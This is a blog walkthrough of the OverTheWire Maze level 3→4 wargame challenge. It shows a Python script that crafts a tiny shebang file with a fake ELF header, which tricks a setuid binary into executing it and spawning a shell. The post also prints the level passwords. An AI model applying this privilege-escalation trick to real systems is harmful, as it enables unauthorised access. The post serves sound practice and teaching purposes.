Avatar
Part time CTF Player learn every day!!
🌠 I Love Hoshimachi Suisei!! 🌠
🌠 I Love Hoshimachi Suisei!! 🌠

OverTheWire Maze Level 3 → 4 tutorial!!

Login

Use the maze3 account from the previous level.

ssh maze3@maze.labs.overthewire.org -p <PORT>
# password: deekaihiek

Binary for this challenge: /maze/maze4


Task

Abuse /maze/maze4’s ELF-parsing checks to make it exec a file of our choosing, then read /etc/maze_pass/maze4.


A little bit of Theory

maze4 opens the file you provide and pretends it’s an ELF. It reads the first 52 bytes into an Elf32_Ehdr (header) and then, using ehdr.e_phoff, seeks and reads 32 bytes into an Elf32_Phdr (program header). Then it validates:

// pseudo-code (decompiled)
read(fd, &ehdr, 52);
lseek(fd, ehdr.e_phoff, SEEK_SET);
read(fd, &phdr, 32);

if (phdr.p_paddr == ehdr.e_ident[8] * ehdr.e_ident[7]  &&  st.st_size < 120) {
    puts("valid file, executing");
    execv(argv[1], NULL);
} else {
    fwrite("file not executed\n", 1, 18, stderr);
}

Notes:

  • ehdr.e_ident[7] and [8] are bytes 7 and 8 of the file. In a real ELF these are OSABI and ABIVERSION, but here they’re just “whatever’s at offsets 7 and 8”.
  • phdr.p_paddr is a 32-bit value located 12 bytes into the 32-byte Elf32_Phdr.
  • The file must be < 120 bytes.
  • If the check passes, execv(argv[1], NULL) runs your file. If it starts with a shebang, the kernel will treat it as a script.

The trick: craft a tiny text file whose bytes satisfy the math, then make it a script that spawns /bin/sh.


Walkthrough

1) Decide the values for the check

Let’s make the first 10 bytes a shebang line:

0..9:  "#!/bin/sh\n"

Those bytes at offsets 7 and 8 are:

  • offset 7 = 's' = 0x73
  • offset 8 = 'h' = 0x68

So the product is:

0x73 * 0x68 = 0x2eb8

Therefore we must set phdr.p_paddr = 0x00002eb8.

2) Make ehdr.e_phoff point where we place phdr

e_phoff is at offset 0x1c (28) inside the first 52 bytes. We’ll put the value 0x20 so the second read starts at file offset 0x20.

3) Lay out the file

Plan (little-endian):

[ 0x00 ] "#!/bin/sh\n"           (10 bytes — gives 's' and 'h' at offsets 7 & 8)
[ 0x0A ] "/bin/sh\n"             (9 bytes — body of the script)
[ 0x13 ] "A"*??                  (pad so that offset 0x1c is next)
[ 0x1C ] e_phoff = "\x20\x00\x00\x00"  (seek to 0x20 for phdr)
[ 0x20 ] phdr (32 bytes total):
         "B"*12                  (p_type,p_offset,p_vaddr padding)
         p_paddr = "\xb8\x2e\x00\x00"  (0x2eb8 little-endian)
         "B"*16                  (rest of phdr)

One-liner to generate such a file:

python - <<'PY' > /tmp/hello
import sys
out  = b"#!/bin/sh\n"          # 0..9
out += b"/bin/sh\n"            # 10..18 -> simple script body
# pad up to 0x1c (28)
out += b"A" * (0x1c - len(out))
# ehdr.e_phoff = 0x20
out += b"\x20\x00\x00\x00"
# At 0x20: fake phdr (32 bytes)
out += b"B"*12                  # p_type,p_offset,p_vaddr
out += b"\xb8\x2e\x00\x00"      # p_paddr = 0x2eb8
out += b"B"*16                  # rest of the phdr
sys.stdout.buffer.write(out)
PY
chmod +x /tmp/hello

This file is well under 120 bytes.

4) Trigger maze4 and pop a shell

/maze/maze4 /tmp/hello
# prints: valid file, executing
# …and because it's a script that runs /bin/sh, you now have a shell

Dump the next password:

id
cat /etc/maze_pass/maze4

In my run, the password was:

ishipaeroo

Why this works (tl;dr)

  • We fake an ELF header in the first 52 bytes.
  • By choosing a shebang #!/bin/sh\n, the bytes at offsets 7 and 8 are 's' and 'h', so their product is 0x2eb8.
  • We set ehdr.e_phoff = 0x20 and place a fake Elf32_Phdr there with p_paddr = 0x2eb8.
  • File size < 120 → all checks pass → program calls execv on our file.
  • Kernel treats it as a script and executes /bin/sh, which gives us a shell.

Troubleshooting quick tips

  • If you see file not executed, recheck:

    • len(file) < 120
    • At offset 0x1c you really wrote \x20\x00\x00\x00
    • At offset 0x20+12 you really wrote \xb8\x2e\x00\x00
  • Make sure the file is executable: chmod +x /tmp/hello.
  • Remember little-endian when writing integers.

Thanks for reading!

Until next time — Otsumachi!! 💖☄️✨

Cinema

all tags

GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86
dash theme for Jekyll by bitbrain made with